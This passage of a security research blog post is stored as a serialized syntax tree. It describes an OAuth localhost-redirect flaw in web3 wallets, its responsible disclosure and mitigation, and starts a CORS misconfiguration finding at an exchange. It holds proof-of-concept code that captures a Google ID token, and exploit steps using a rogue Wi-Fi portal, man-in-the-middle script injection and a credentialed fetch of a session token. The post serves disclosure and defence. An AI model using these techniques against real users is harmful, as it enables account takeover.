}\n",[100030],{"type":23,"tag":94,"props":100031,"children":100032},{"__ignoreMap":7},[100033,100060,100079,100086,100105,100116,100127,100158,100181,100228,100235,100242,100249,100289,100300,100307,100314,100333,100356,100367,100386,100401,100412,100432,100443,100460,100486,100510,100517,100528,100540,100553,100561,100569,100576,100583,100591,100599,100607,100615,100623,100631,100639,100646,100653,100661,100669,100677,100684,100691,100699,100706,100727,100735,100742,100749,100760,100784,100796,100813,100820,100827,100835,100843,100851,100879],{"type":23,"tag":314,"props":100034,"children":100035},{"class":316,"line":317},[100036,100040,100044,100048,100052,100056],{"type":23,"tag":314,"props":100037,"children":100038},{"style":321},[100039],{"type":28,"value":69697},{"type":23,"tag":314,"props":100041,"children":100042},{"style":321},[100043],{"type":28,"value":5462},{"type":23,"tag":314,"props":100045,"children":100046},{"style":332},[100047],{"type":28,"value":69706},{"type":23,"tag":314,"props":100049,"children":100050},{"style":338},[100051],{"type":28,"value":69711},{"type":23,"tag":314,"props":100053,"children":100054},{"style":2674},[100055],{"type":28,"value":69716},{"type":23,"tag":314,"props":100057,"children":100058},{"style":338},[100059],{"type":28,"value":69721},{"type":23,"tag":314,"props":100061,"children":100062},{"class":316,"line":370},[100063,100067,100071,100075],{"type":23,"tag":314,"props":100064,"children":100065},{"style":321},[100066],{"type":28,"value":69729},{"type":23,"tag":314,"props":100068,"children":100069},{"style":338},[100070],{"type":28,"value":282},{"type":23,"tag":314,"props":100072,"children":100073},{"style":332},[100074],{"type":28,"value":69738},{"type":23,"tag":314,"props":100076,"children":100077},{"style":338},[100078],{"type":28,"value":69743},{"type":23,"tag":314,"props":100080,"children":100081},{"class":316,"line":380},[100082],{"type":23,"tag":314,"props":100083,"children":100084},{"emptyLinePlaceholder":18},[100085],{"type":28,"value":1088},{"type":23,"tag":314,"props":100087,"children":100088},{"class":316,"line":1091},[100089,100093,100097,100101],{"type":23,"tag":314,"props":100090,"children":100091},{"style":332},[100092],{"type":28,"value":69766},{"type":23,"tag":314,"props":100094,"children":100095},{"style":338},[100096],{"type":28,"value":69771},{"type":23,"tag":314,"props":100098,"children":100099},{"style":332},[100100],{"type":28,"value":69776},{"type":23,"tag":314,"props":100102,"children":100103},{"style":338},[100104],{"type":28,"value":1449},{"type":23,"tag":314,"props":100106,"children":100107},{"class":316,"line":1141},[100108,100112],{"type":23,"tag":314,"props":100109,"children":100110},{"style":2284},[100111],{"type":28,"value":69788},{"type":23,"tag":314,"props":100113,"children":100114},{"style":338},[100115],{"type":28,"value":1449},{"type":23,"tag":314,"props":100117,"children":100118},{"class":316,"line":1173},[100119,100123],{"type":23,"tag":314,"props":100120,"children":100121},{"style":332},[100122],{"type":28,"value":69800},{"type":23,"tag":314,"props":100124,"children":100125},{"style":338},[100126],{"type":28,"value":6990},{"type":23,"tag":314,"props":100128,"children":100129},{"class":316,"line":1208},[100130,100134,100138,100142,100146,100150,100154],{"type":23,"tag":314,"props":100131,"children":100132},{"style":338},[100133],{"type":28,"value":69812},{"type":23,"tag":314,"props":100135,"children":100136},{"style":332},[100137],{"type":28,"value":69817},{"type":23,"tag":314,"props":100139,"children":100140},{"style":338},[100141],{"type":28,"value":341},{"type":23,"tag":314,"props":100143,"children":100144},{"style":1245},[100145],{"type":28,"value":69826},{"type":23,"tag":314,"props":100147,"children":100148},{"style":338},[100149],{"type":28,"value":778},{"type":23,"tag":314,"props":100151,"children":100152},{"style":1245},[100153],{"type":28,"value":69835},{"type":23,"tag":314,"props":100155,"children":100156},{"style":338},[100157],{"type":28,"value":2414},{"type":23,"tag":314,"props":100159,"children":100160},{"class":316,"line":1216},[100161,100165,100169,100173,100177],{"type":23,"tag":314,"props":100162,"children":100163},{"style":338},[100164],{"type":28,"value":69847},{"type":23,"tag":314,"props":100166,"children":100167},{"style":321},[100168],{"type":28,"value":47661},{"type":23,"tag":314,"props":100170,"children":100171},{"style":338},[100172],{"type":28,"value":69856},{"type":23,"tag":314,"props":100174,"children":100175},{"style":2674},[100176],{"type":28,"value":69861},{"type":23,"tag":314,"props":100178,"children":100179},{"style":338},[100180],{"type":28,"value":367},{"type":23,"tag":314,"props":100182,"children":100183},{"class":316,"line":1301},[100184,100188,100192,100196,100200,100204,100208,100212,100216,100220,100224],{"type":23,"tag":314,"props":100185,"children":100186},{"style":338},[100187],{"type":28,"value":69812},{"type":23,"tag":314,"props":100189,"children":100190},{"style":332},[100191],{"type":28,"value":50705},{"type":23,"tag":314,"props":100193,"children":100194},{"style":338},[100195],{"type":28,"value":341},{"type":23,"tag":314,"props":100197,"children":100198},{"style":1245},[100199],{"type":28,"value":69826},{"type":23,"tag":314,"props":100201,"children":100202},{"style":338},[100203],{"type":28,"value":778},{"type":23,"tag":314,"props":100205,"children":100206},{"style":1245},[100207],{"type":28,"value":69893},{"type":23,"tag":314,"props":100209,"children":100210},{"style":321},[100211],{"type":28,"value":33357},{"type":23,"tag":314,"props":100213,"children":100214},{"style":354},[100215],{"type":28,"value":69902},{"type":23,"tag":314,"props":100217,"children":100218},{"style":321},[100219],{"type":28,"value":33389},{"type":23,"tag":314,"props":100221,"children":100222},{"style":1245},[100223],{"type":28,"value":19297},{"type":23,"tag":314,"props":100225,"children":100226},{"style":338},[100227],{"type":28,"value":69915},{"type":23,"tag":314,"props":100229,"children":100230},{"class":316,"line":1343},[100231],{"type":23,"tag":314,"props":100232,"children":100233},{"style":338},[100234],{"type":28,"value":58136},{"type":23,"tag":314,"props":100236,"children":100237},{"class":316,"line":1351},[100238],{"type":23,"tag":314,"props":100239,"children":100240},{"style":338},[100241],{"type":28,"value":2602},{"type":23,"tag":314,"props":100243,"children":100244},{"class":316,"line":1387},[100245],{"type":23,"tag":314,"props":100246,"children":100247},{"emptyLinePlaceholder":18},[100248],{"type":28,"value":1088},{"type":23,"tag":314,"props":100250,"children":100251},{"class":316,"line":1422},[100252,100256,100260,100264,100268,100272,100276,100280,100285],{"type":23,"tag":314,"props":100253,"children":100254},{"style":321},[100255],{"type":28,"value":69952},{"type":23,"tag":314,"props":100257,"children":100258},{"style":338},[100259],{"type":28,"value":69978},{"type":23,"tag":314,"props":100261,"children":100262},{"style":354},[100263],{"type":28,"value":1102},{"type":23,"tag":314,"props":100265,"children":100266},{"style":332},[100267],{"type":28,"value":69987},{"type":23,"tag":314,"props":100269,"children":100270},{"style":338},[100271],{"type":28,"value":69992},{"type":23,"tag":314,"props":100273,"children":100274},{"style":332},[100275],{"type":28,"value":38459},{"type":23,"tag":314,"props":100277,"children":100278},{"style":338},[100279],{"type":28,"value":341},{"type":23,"tag":314,"props":100281,"children":100282},{"style":1245},[100283],{"type":28,"value":100284},"\"http://localhost:3000\"",{"type":23,"tag":314,"props":100286,"children":100287},{"style":338},[100288],{"type":28,"value":18949},{"type":23,"tag":314,"props":100290,"children":100291},{"class":316,"line":1430},[100292,100296],{"type":23,"tag":314,"props":100293,"children":100294},{"style":332},[100295],{"type":28,"value":70009},{"type":23,"tag":314,"props":100297,"children":100298},{"style":338},[100299],{"type":28,"value":70014},{"type":23,"tag":314,"props":100301,"children":100302},{"class":316,"line":1452},[100303],{"type":23,"tag":314,"props":100304,"children":100305},{"style":338},[100306],{"type":28,"value":2610},{"type":23,"tag":314,"props":100308,"children":100309},{"class":316,"line":1497},[100310],{"type":23,"tag":314,"props":100311,"children":100312},{"emptyLinePlaceholder":18},[100313],{"type":28,"value":1088},{"type":23,"tag":314,"props":100315,"children":100316},{"class":316,"line":1539},[100317,100321,100325,100329],{"type":23,"tag":314,"props":100318,"children":100319},{"style":321},[100320],{"type":28,"value":70036},{"type":23,"tag":314,"props":100322,"children":100323},{"style":321},[100324],{"type":28,"value":5462},{"type":23,"tag":314,"props":100326,"children":100327},{"style":332},[100328],{"type":28,"value":70045},{"type":23,"tag":314,"props":100330,"children":100331},{"style":338},[100332],{"type":28,"value":14977},{"type":23,"tag":314,"props":100334,"children":100335},{"class":316,"line":1548},[100336,100340,100344,100348,100352],{"type":23,"tag":314,"props":100337,"children":100338},{"style":332},[100339],{"type":28,"value":70057},{"type":23,"tag":314,"props":100341,"children":100342},{"style":338},[100343],{"type":28,"value":70062},{"type":23,"tag":314,"props":100345,"children":100346},{"style":354},[100347],{"type":28,"value":1102},{"type":23,"tag":314,"props":100349,"children":100350},{"style":1054},[100351],{"type":28,"value":70071},{"type":23,"tag":314,"props":100353,"children":100354},{"style":338},[100355],{"type":28,"value":367},{"type":23,"tag":314,"props":100357,"children":100358},{"class":316,"line":1584},[100359,100363],{"type":23,"tag":314,"props":100360,"children":100361},{"style":332},[100362],{"type":28,"value":70083},{"type":23,"tag":314,"props":100364,"children":100365},{"style":338},[100366],{"type":28,"value":1449},{"type":23,"tag":314,"props":100368,"children":100369},{"class":316,"line":1617},[100370,100374,100378,100382],{"type":23,"tag":314,"props":100371,"children":100372},{"style":321},[100373],{"type":28,"value":70095},{"type":23,"tag":314,"props":100375,"children":100376},{"style":338},[100377],{"type":28,"value":341},{"type":23,"tag":314,"props":100379,"children":100380},{"style":1245},[100381],{"type":28,"value":70104},{"type":23,"tag":314,"props":100383,"children":100384},{"style":338},[100385],{"type":28,"value":367},{"type":23,"tag":314,"props":100387,"children":100388},{"class":316,"line":1625},[100389,100393,100397],{"type":23,"tag":314,"props":100390,"children":100391},{"style":338},[100392],{"type":28,"value":70116},{"type":23,"tag":314,"props":100394,"children":100395},{"style":332},[100396],{"type":28,"value":70121},{"type":23,"tag":314,"props":100398,"children":100399},{"style":338},[100400],{"type":28,"value":1449},{"type":23,"tag":314,"props":100402,"children":100403},{"class":316,"line":1660},[100404,100408],{"type":23,"tag":314,"props":100405,"children":100406},{"style":332},[100407],{"type":28,"value":70133},{"type":23,"tag":314,"props":100409,"children":100410},{"style":338},[100411],{"type":28,"value":1449},{"type":23,"tag":314,"props":100413,"children":100414},{"class":316,"line":1708},[100415,100419,100423,100428],{"type":23,"tag":314,"props":100416,"children":100417},{"style":332},[100418],{"type":28,"value":70210},{"type":23,"tag":314,"props":100420,"children":100421},{"style":338},[100422],{"type":28,"value":341},{"type":23,"tag":314,"props":100424,"children":100425},{"style":1245},[100426],{"type":28,"value":100427},"\"Test\"",{"type":23,"tag":314,"props":100429,"children":100430},{"style":338},[100431],{"type":28,"value":2414},{"type":23,"tag":314,"props":100433,"children":100434},{"class":316,"line":1743},[100435,100439],{"type":23,"tag":314,"props":100436,"children":100437},{"style":332},[100438],{"type":28,"value":70276},{"type":23,"tag":314,"props":100440,"children":100441},{"style":338},[100442],{"type":28,"value":1449},{"type":23,"tag":314,"props":100444,"children":100445},{"class":316,"line":1751},[100446,100451,100455],{"type":23,"tag":314,"props":100447,"children":100448},{"style":338},[100449],{"type":28,"value":100450}," src ",{"type":23,"tag":314,"props":100452,"children":100453},{"style":354},[100454],{"type":28,"value":1102},{"type":23,"tag":314,"props":100456,"children":100457},{"style":1245},[100458],{"type":28,"value":100459}," \"https://accounts.google.com/gsi/client\"\n",{"type":23,"tag":314,"props":100461,"children":100462},{"class":316,"line":1791},[100463,100468,100473,100477,100481],{"type":23,"tag":314,"props":100464,"children":100465},{"style":338},[100466],{"type":28,"value":100467}," attributes[",{"type":23,"tag":314,"props":100469,"children":100470},{"style":1245},[100471],{"type":28,"value":100472},"\"async\"",{"type":23,"tag":314,"props":100474,"children":100475},{"style":338},[100476],{"type":28,"value":1322},{"type":23,"tag":314,"props":100478,"children":100479},{"style":354},[100480],{"type":28,"value":1102},{"type":23,"tag":314,"props":100482,"children":100483},{"style":1245},[100484],{"type":28,"value":100485}," \"\"\n",{"type":23,"tag":314,"props":100487,"children":100488},{"class":316,"line":1805},[100489,100493,100498,100502,100506],{"type":23,"tag":314,"props":100490,"children":100491},{"style":338},[100492],{"type":28,"value":100467},{"type":23,"tag":314,"props":100494,"children":100495},{"style":1245},[100496],{"type":28,"value":100497},"\"defer\"",{"type":23,"tag":314,"props":100499,"children":100500},{"style":338},[100501],{"type":28,"value":1322},{"type":23,"tag":314,"props":100503,"children":100504},{"style":354},[100505],{"type":28,"value":1102},{"type":23,"tag":314,"props":100507,"children":100508},{"style":1245},[100509],{"type":28,"value":100485},{"type":23,"tag":314,"props":100511,"children":100512},{"class":316,"line":1818},[100513],{"type":23,"tag":314,"props":100514,"children":100515},{"style":338},[100516],{"type":28,"value":70301},{"type":23,"tag":314,"props":100518,"children":100519},{"class":316,"line":1873},[100520,100524],{"type":23,"tag":314,"props":100521,"children":100522},{"style":332},[100523],{"type":28,"value":70276},{"type":23,"tag":314,"props":100525,"children":100526},{"style":338},[100527],{"type":28,"value":1449},{"type":23,"tag":314,"props":100529,"children":100530},{"class":316,"line":1891},[100531,100536],{"type":23,"tag":314,"props":100532,"children":100533},{"style":332},[100534],{"type":28,"value":100535}," unsafe",{"type":23,"tag":314,"props":100537,"children":100538},{"style":338},[100539],{"type":28,"value":1449},{"type":23,"tag":314,"props":100541,"children":100542},{"class":316,"line":1899},[100543,100548],{"type":23,"tag":314,"props":100544,"children":100545},{"style":354},[100546],{"type":28,"value":100547}," +",{"type":23,"tag":314,"props":100549,"children":100550},{"style":1245},[100551],{"type":28,"value":100552},"\"\"\"\n",{"type":23,"tag":314,"props":100554,"children":100555},{"class":316,"line":1944},[100556],{"type":23,"tag":314,"props":100557,"children":100558},{"style":1245},[100559],{"type":28,"value":100560}," function handleCredentialResponse(response) {\n",{"type":23,"tag":314,"props":100562,"children":100563},{"class":316,"line":2008},[100564],{"type":23,"tag":314,"props":100565,"children":100566},{"style":1245},[100567],{"type":28,"value":100568}," alert(\"credential: \" + response.credential);\n",{"type":23,"tag":314,"props":100570,"children":100571},{"class":316,"line":2043},[100572],{"type":23,"tag":314,"props":100573,"children":100574},{"style":1245},[100575],{"type":28,"value":2610},{"type":23,"tag":314,"props":100577,"children":100578},{"class":316,"line":22803},[100579],{"type":23,"tag":314,"props":100580,"children":100581},{"emptyLinePlaceholder":18},[100582],{"type":28,"value":1088},{"type":23,"tag":314,"props":100584,"children":100585},{"class":316,"line":22845},[100586],{"type":23,"tag":314,"props":100587,"children":100588},{"style":1245},[100589],{"type":28,"value":100590}," window.onload = async function () {\n",{"type":23,"tag":314,"props":100592,"children":100593},{"class":316,"line":22878},[100594],{"type":23,"tag":314,"props":100595,"children":100596},{"style":1245},[100597],{"type":28,"value":100598}," const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":23,"tag":314,"props":100600,"children":100601},{"class":316,"line":22886},[100602],{"type":23,"tag":314,"props":100603,"children":100604},{"style":1245},[100605],{"type":28,"value":100606}," const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":23,"tag":314,"props":100608,"children":100609},{"class":316,"line":22894},[100610],{"type":23,"tag":314,"props":100611,"children":100612},{"style":1245},[100613],{"type":28,"value":100614}," google.accounts.id.initialize({\n",{"type":23,"tag":314,"props":100616,"children":100617},{"class":316,"line":22903},[100618],{"type":23,"tag":314,"props":100619,"children":100620},{"style":1245},[100621],{"type":28,"value":100622}," client_id: client_id,\n",{"type":23,"tag":314,"props":100624,"children":100625},{"class":316,"line":22979},[100626],{"type":23,"tag":314,"props":100627,"children":100628},{"style":1245},[100629],{"type":28,"value":100630}," callback: handleCredentialResponse,\n",{"type":23,"tag":314,"props":100632,"children":100633},{"class":316,"line":23012},[100634],{"type":23,"tag":314,"props":100635,"children":100636},{"style":1245},[100637],{"type":28,"value":100638}," auto_select: true\n",{"type":23,"tag":314,"props":100640,"children":100641},{"class":316,"line":23020},[100642],{"type":23,"tag":314,"props":100643,"children":100644},{"style":1245},[100645],{"type":28,"value":6551},{"type":23,"tag":314,"props":100647,"children":100648},{"class":316,"line":23028},[100649],{"type":23,"tag":314,"props":100650,"children":100651},{"emptyLinePlaceholder":18},[100652],{"type":28,"value":1088},{"type":23,"tag":314,"props":100654,"children":100655},{"class":316,"line":23065},[100656],{"type":23,"tag":314,"props":100657,"children":100658},{"style":1245},[100659],{"type":28,"value":100660}," google.accounts.id.renderButton(\n",{"type":23,"tag":314,"props":100662,"children":100663},{"class":316,"line":23078},[100664],{"type":23,"tag":314,"props":100665,"children":100666},{"style":1245},[100667],{"type":28,"value":100668}," document.getElementById(\"g_id_signin\"),\n",{"type":23,"tag":314,"props":100670,"children":100671},{"class":316,"line":23091},[100672],{"type":23,"tag":314,"props":100673,"children":100674},{"style":1245},[100675],{"type":28,"value":100676}," { theme: \"outline\", size: \"large\" }\n",{"type":23,"tag":314,"props":100678,"children":100679},{"class":316,"line":23104},[100680],{"type":23,"tag":314,"props":100681,"children":100682},{"style":1245},[100683],{"type":28,"value":6022},{"type":23,"tag":314,"props":100685,"children":100686},{"class":316,"line":23158},[100687],{"type":23,"tag":314,"props":100688,"children":100689},{"emptyLinePlaceholder":18},[100690],{"type":28,"value":1088},{"type":23,"tag":314,"props":100692,"children":100693},{"class":316,"line":23167},[100694],{"type":23,"tag":314,"props":100695,"children":100696},{"style":1245},[100697],{"type":28,"value":100698}," google.accounts.id.prompt();\n",{"type":23,"tag":314,"props":100700,"children":100701},{"class":316,"line":31528},[100702],{"type":23,"tag":314,"props":100703,"children":100704},{"style":1245},[100705],{"type":28,"value":38244},{"type":23,"tag":314,"props":100707,"children":100708},{"class":316,"line":31549},[100709,100714,100718,100723],{"type":23,"tag":314,"props":100710,"children":100711},{"style":1245},[100712],{"type":28,"value":100713}," \"\"\"",{"type":23,"tag":314,"props":100715,"children":100716},{"style":338},[100717],{"type":28,"value":282},{"type":23,"tag":314,"props":100719,"children":100720},{"style":332},[100721],{"type":28,"value":100722},"trimIndent",{"type":23,"tag":314,"props":100724,"children":100725},{"style":338},[100726],{"type":28,"value":6990},{"type":23,"tag":314,"props":100728,"children":100729},{"class":316,"line":80203},[100730],{"type":23,"tag":314,"props":100731,"children":100732},{"style":338},[100733],{"type":28,"value":100734}," }\n",{"type":23,"tag":314,"props":100736,"children":100737},{"class":316,"line":80216},[100738],{"type":23,"tag":314,"props":100739,"children":100740},{"style":338},[100741],{"type":28,"value":70301},{"type":23,"tag":314,"props":100743,"children":100744},{"class":316,"line":80224},[100745],{"type":23,"tag":314,"props":100746,"children":100747},{"style":338},[100748],{"type":28,"value":70231},{"type":23,"tag":314,"props":100750,"children":100751},{"class":316,"line":80232},[100752,100756],{"type":23,"tag":314,"props":100753,"children":100754},{"style":332},[100755],{"type":28,"value":70239},{"type":23,"tag":314,"props":100757,"children":100758},{"style":338},[100759],{"type":28,"value":1449},{"type":23,"tag":314,"props":100761,"children":100762},{"class":316,"line":80240},[100763,100767,100771,100775,100780],{"type":23,"tag":314,"props":100764,"children":100765},{"style":332},[100766],{"type":28,"value":70251},{"type":23,"tag":314,"props":100768,"children":100769},{"style":338},[100770],{"type":28,"value":1242},{"type":23,"tag":314,"props":100772,"children":100773},{"style":354},[100774],{"type":28,"value":1130},{"type":23,"tag":314,"props":100776,"children":100777},{"style":1245},[100778],{"type":28,"value":100779},"\"Login here:\"",{"type":23,"tag":314,"props":100781,"children":100782},{"style":338},[100783],{"type":28,"value":8845},{"type":23,"tag":314,"props":100785,"children":100786},{"class":316,"line":80280},[100787,100792],{"type":23,"tag":314,"props":100788,"children":100789},{"style":332},[100790],{"type":28,"value":100791}," div",{"type":23,"tag":314,"props":100793,"children":100794},{"style":338},[100795],{"type":28,"value":1449},{"type":23,"tag":314,"props":100797,"children":100798},{"class":316,"line":80288},[100799,100804,100808],{"type":23,"tag":314,"props":100800,"children":100801},{"style":338},[100802],{"type":28,"value":100803}," id ",{"type":23,"tag":314,"props":100805,"children":100806},{"style":354},[100807],{"type":28,"value":1102},{"type":23,"tag":314,"props":100809,"children":100810},{"style":1245},[100811],{"type":28,"value":100812}," \"g_id_signin\"\n",{"type":23,"tag":314,"props":100814,"children":100815},{"class":316,"line":87475},[100816],{"type":23,"tag":314,"props":100817,"children":100818},{"style":338},[100819],{"type":28,"value":70301},{"type":23,"tag":314,"props":100821,"children":100822},{"class":316,"line":87483},[100823],{"type":23,"tag":314,"props":100824,"children":100825},{"style":338},[100826],{"type":28,"value":70231},{"type":23,"tag":314,"props":100828,"children":100830},{"class":316,"line":100829},62,[100831],{"type":23,"tag":314,"props":100832,"children":100833},{"style":338},[100834],{"type":28,"value":70316},{"type":23,"tag":314,"props":100836,"children":100838},{"class":316,"line":100837},63,[100839],{"type":23,"tag":314,"props":100840,"children":100841},{"style":338},[100842],{"type":28,"value":70324},{"type":23,"tag":314,"props":100844,"children":100846},{"class":316,"line":100845},64,[100847],{"type":23,"tag":314,"props":100848,"children":100849},{"style":338},[100850],{"type":28,"value":58136},{"type":23,"tag":314,"props":100852,"children":100854},{"class":316,"line":100853},65,[100855,100859,100863,100867,100871,100875],{"type":23,"tag":314,"props":100856,"children":100857},{"style":338},[100858],{"type":28,"value":70339},{"type":23,"tag":314,"props":100860,"children":100861},{"style":332},[100862],{"type":28,"value":70344},{"type":23,"tag":314,"props":100864,"children":100865},{"style":338},[100866],{"type":28,"value":70349},{"type":23,"tag":314,"props":100868,"children":100869},{"style":354},[100870],{"type":28,"value":1102},{"type":23,"tag":314,"props":100872,"children":100873},{"style":321},[100874],{"type":28,"value":11717},{"type":23,"tag":314,"props":100876,"children":100877},{"style":338},[100878],{"type":28,"value":2414},{"type":23,"tag":314,"props":100880,"children":100882},{"class":316,"line":100881},66,[100883],{"type":23,"tag":314,"props":100884,"children":100885},{"style":338},[100886],{"type":28,"value":2610},{"type":23,"tag":24,"props":100888,"children":100889},{},[100890],{"type":28,"value":100891},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":23,"tag":24,"props":100893,"children":100894},{},[100895],{"type":28,"value":100896},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":23,"tag":837,"props":100898,"children":100900},{"id":100899},"how-to-mitigate",[100901],{"type":28,"value":100902},"How to Mitigate",{"type":23,"tag":24,"props":100904,"children":100905},{},[100906],{"type":28,"value":100907},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":23,"tag":61,"props":100909,"children":100911},{"id":100910},"exploiting-cors",[100912],{"type":28,"value":100913},"Exploiting CORS",{"type":23,"tag":24,"props":100915,"children":100916},{},[100917],{"type":28,"value":100918},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":23,"tag":24,"props":100920,"children":100921},{},[100922,100924,100930],{"type":28,"value":100923},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":23,"tag":94,"props":100925,"children":100927},{"className":100926},[],[100928],{"type":28,"value":100929},"http://",{"type":28,"value":100931}," schema for any subdomain:",{"type":23,"tag":304,"props":100933,"children":100937},{"className":100934,"code":100935,"language":100936,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[100938],{"type":23,"tag":94,"props":100939,"children":100940},{"__ignoreMap":7},[100941,100949,100957,100965],{"type":23,"tag":314,"props":100942,"children":100943},{"class":316,"line":317},[100944],{"type":23,"tag":314,"props":100945,"children":100946},{},[100947],{"type":28,"value":100948},"HTTP 200 OK\n",{"type":23,"tag":314,"props":100950,"children":100951},{"class":316,"line":370},[100952],{"type":23,"tag":314,"props":100953,"children":100954},{},[100955],{"type":28,"value":100956},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":23,"tag":314,"props":100958,"children":100959},{"class":316,"line":380},[100960],{"type":23,"tag":314,"props":100961,"children":100962},{},[100963],{"type":28,"value":100964},"Access-Control-Allow-Credentials: true\n",{"type":23,"tag":314,"props":100966,"children":100967},{"class":316,"line":1091},[100968],{"type":23,"tag":314,"props":100969,"children":100970},{},[100971],{"type":28,"value":9566},{"type":23,"tag":837,"props":100973,"children":100975},{"id":100974},"cors-misconfiguration-by-lack-of-tls",[100976],{"type":28,"value":100977},"CORS Misconfiguration by Lack of TLS",{"type":23,"tag":24,"props":100979,"children":100980},{},[100981,100983,100989],{"type":28,"value":100982},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":23,"tag":94,"props":100984,"children":100986},{"className":100985},[],[100987],{"type":28,"value":100988},"exchange.com",{"type":28,"value":100990}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":23,"tag":24,"props":100992,"children":100993},{},[100994],{"type":28,"value":100995},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":23,"tag":127,"props":100997,"children":100998},{},[100999,101019],{"type":23,"tag":88,"props":101000,"children":101001},{},[101002,101004,101009,101011,101017],{"type":28,"value":101003},"Chrome --> won't work because cookies are not sent in ",{"type":23,"tag":94,"props":101005,"children":101007},{"className":101006},[],[101008],{"type":28,"value":100929},{"type":28,"value":101010}," --> ",{"type":23,"tag":94,"props":101012,"children":101014},{"className":101013},[],[101015],{"type":28,"value":101016},"https://",{"type":28,"value":101018}," requests, even if same-site",{"type":23,"tag":88,"props":101020,"children":101021},{},[101022,101024],{"type":28,"value":101023},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":23,"tag":94,"props":101025,"children":101027},{"className":101026},[],[101028],{"type":28,"value":37014},{"type":23,"tag":837,"props":101030,"children":101032},{"id":101031},"exploit-1",[101033],{"type":28,"value":99363},{"type":23,"tag":24,"props":101035,"children":101036},{},[101037],{"type":28,"value":101038},"To exploit it, we must follow some steps:",{"type":23,"tag":84,"props":101040,"children":101041},{},[101042,101047,101052],{"type":23,"tag":88,"props":101043,"children":101044},{},[101045],{"type":28,"value":101046},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":23,"tag":88,"props":101048,"children":101049},{},[101050],{"type":28,"value":101051},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":23,"tag":88,"props":101053,"children":101054},{},[101055,101057,101062],{"type":28,"value":101056},"Use ",{"type":23,"tag":94,"props":101058,"children":101060},{"className":101059},[],[101061],{"type":28,"value":37014},{"type":28,"value":101063}," with CORS to do something malicious using the victim's account",{"type":23,"tag":24,"props":101065,"children":101066},{},[101067],{"type":28,"value":101068},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":23,"tag":24,"props":101070,"children":101071},{},[101072,101074,101079],{"type":28,"value":101073},"Once the redirect to the ",{"type":23,"tag":94,"props":101075,"children":101077},{"className":101076},[],[101078],{"type":28,"value":100929},{"type":28,"value":101080}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":23,"tag":304,"props":101082,"children":101084},{"className":30611,"code":101083,"language":30613,"meta":7,"style":7},"(async () => {\n let res = await fetch('https://www.exchange.com/api/session_token', {\n credentials: 'include',\n method: 'POST',\n });\n console.log(await res.json());\n})();\n",[101085],{"type":23,"tag":94,"props":101086,"children":101087},{"__ignoreMap":7},[101088,101111,101148,101165,101182,101189,101230],{"type":23,"tag":314,"props":101089,"children":101090},{"class":316,"line":317},[101091,101095,101099,101103,101107],{"type":23,"tag":314,"props":101092,"children":101093},{"style":338},[101094],{"type":28,"value":341},{"type":23,"tag":314,"props":101096,"children":101097},{"style":321},[101098],{"type":28,"value":35394},{"type":23,"tag":314,"props":101100,"children":101101},{"style":338},[101102],{"type":28,"value":38944},{"type":23,"tag":314,"props":101104,"children":101105},{"style":321},[101106],{"type":28,"value":14064},{"type":23,"tag":314,"props":101108,"children":101109},{"style":338},[101110],{"type":28,"value":1449},{"type":23,"tag":314,"props":101112,"children":101113},{"class":316,"line":370},[101114,101118,101123,101127,101131,101135,101139,101144],{"type":23,"tag":314,"props":101115,"children":101116},{"style":321},[101117],{"type":28,"value":7110},{"type":23,"tag":314,"props":101119,"children":101120},{"style":360},[101121],{"type":28,"value":101122}," 